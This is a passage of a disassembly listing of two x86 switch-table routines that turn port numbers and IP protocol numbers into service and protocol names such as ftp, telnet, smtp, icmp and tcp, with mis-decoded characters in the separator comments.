[ebp+arg_0] lea eax, [edx-5] ; switch 166 cases cmp eax, 0A5h ja loc_805EE88 ; default jmp ds:off_805E9D4[eax*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 off_805E9D4 dd offset loc_805EC6C, offset loc_805EE88, offset loc_805EC78 ; DATA XREF: sub_805E9B8+14r dd offset loc_805EE88, offset loc_805EC84, offset loc_805EE88 ; jump table for switch statement dd offset loc_805EC90, offset loc_805EE88, offset loc_805EC9C dd offset loc_805EE88, offset loc_805ECA8, offset loc_805EE88 dd offset loc_805ECB4, offset loc_805EE88, offset loc_805ECC0 dd offset loc_805ECCC, offset loc_805ECD8, offset loc_805EE88 dd offset loc_805ECE4, offset loc_805EE88, offset loc_805ECF0 dd 0Bh dup(offset loc_805EE88), offset loc_805ECFC, offset loc_805EE88 dd offset loc_805ED08, 2 dup(offset loc_805EE88), offset loc_805ED14 dd offset loc_805ED20, 9 dup(offset loc_805EE88), offset loc_805ED2C dd 3 dup(offset loc_805EE88), offset loc_805ED38, offset loc_805EE88 dd offset loc_805ED44, 7 dup(offset loc_805EE88), offset loc_805ED50 dd offset loc_805ED5C, offset loc_805ED68, 7 dup(offset loc_805EE88) dd offset loc_805EC6C, offset loc_805EE88, offset loc_805ED74 dd 7 dup(offset loc_805EE88), offset loc_805ED80, 7 dup(offset loc_805EE88) dd offset loc_805ED8C, 4 dup(offset loc_805EE88), offset loc_805ED98 dd offset loc_805EDA4, offset loc_805EDB0, offset loc_805EDBC dd offset loc_805EDC8, offset loc_805EDD4, 3 dup(offset loc_805EE88) dd offset loc_805EDE0, offset loc_805EE88, offset loc_805EDEC dd offset loc_805EE88, offset loc_805EDF8, offset loc_805EE88 dd offset loc_805EE04, offset loc_805EE88, offset loc_805EE10 dd offset loc_805EE88, offset loc_805EE1C, offset loc_805EE88 dd offset loc_805EE28, offset loc_805EE88, offset loc_805EE34 dd 9 dup(offset loc_805EE88), offset loc_805EE40, 2 dup(offset loc_805EE88) dd offset loc_805EE4C, 7 dup(offset loc_805EE88), offset loc_805EE58 dd 10h dup(offset loc_805EE88), offset loc_805EE64, offset loc_805EE70 dd 7 dup(offset loc_805EE88), offset loc_805EE7C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EC6C: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aRje ; case 0x5 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EC78: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aEcho ; case 0x7 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EC84: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aDiscard ; case 0x9 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EC90: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aSystat ; case 0xb mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EC9C: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aDaytime ; case 0xd mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ECA8: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aNetstat ; case 0xf mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ECB4: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aQotd ; case 0x11 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ECC0: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aChargen ; case 0x13 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ECCC: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aFtpData ; case 0x14 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ECD8: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aFtp ; case 0x15 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ECE4: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aTelnet ; case 0x17 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ECF0: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aSmtp ; case 0x19 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ECFC: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aTime ; case 0x25 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ED08: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aRlp ; case 0x27 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ED14: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aName ; case 0x2a mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ED20: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aWhois ; case 0x2b mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ED2C: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aDomain_0 ; case 0x35 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ED38: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aApts ; case 0x39 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ED44: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aApfs ; case 0x3b mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ED50: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aBootps ; case 0x43 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ED5C: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aBootpc ; case 0x44 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ED68: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aTftp ; case 0x45 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ED74: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aFinger ; case 0x4f mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ED80: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aLink ; case 0x57 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ED8C: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aSupdup ; case 0x5f mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ED98: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aNewacct ; case 0x64 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EDA4: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aHostnames ; case 0x65 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EDB0: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aIsoTsap ; case 0x66 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EDBC: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aX400 ; case 0x67 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EDC8: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aX400Snd ; case 0x68 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EDD4: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aCsnetNs ; case 0x69 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EDE0: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aPop2 ; case 0x6d mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EDEC: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aSunrpc ; case 0x6f mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EDF8: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aAuth ; case 0x71 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EE04: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aSftp ; case 0x73 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EE10: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aUucpPath ; case 0x75 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EE1C: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aNntp ; case 0x77 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EE28: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aErpc ; case 0x79 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EE34: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aNtp ; case 0x7b mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EE40: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aStatsrv ; case 0x85 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EE4C: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aProfile ; case 0x88 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EE58: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aNews ; case 0x90 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EE64: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aSnmp ; case 0xa1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EE70: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aSnmpTrap ; case 0xa2 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EE7C: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aPrintSrv ; case 0xaa mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EE88: ; CODE XREF: sub_805E9B8+Ej ; sub_805E9B8+14j ; DATA XREF: ... push edx ; default push offset aD_0 ; "%d" push offset unk_807E3B0 call sprintf mov eax, offset unk_807E3B0 mov esp, ebp pop ebp retn sub_805E9B8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805EEA4 proc near ; CODE XREF: sub_805F7E4+6F9p arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] lea eax, [edx-1] ; switch 17 cases cmp eax, 10h ja loc_805EF94 ; default jmp ds:off_805EEC0[eax*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 off_805EEC0 dd offset loc_805EF04, offset loc_805EF10, offset loc_805EF1C ; DATA XREF: sub_805EEA4+12r dd offset loc_805EF94, offset loc_805EF28, offset loc_805EF34 ; jump table for switch statement dd offset loc_805EF40, offset loc_805EF4C, offset loc_805EF58 dd offset loc_805EF94, offset loc_805EF64, offset loc_805EF70 dd 3 dup(offset loc_805EF94), offset loc_805EF7C, offset loc_805EF88 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EF04: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aIcmp ; case 0x1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EF10: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aIgmp ; case 0x2 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EF1C: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aGgp ; case 0x3 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EF28: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aSt ; case 0x5 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EF34: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aTcp ; case 0x6 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EF40: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aUcl ; case 0x7 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 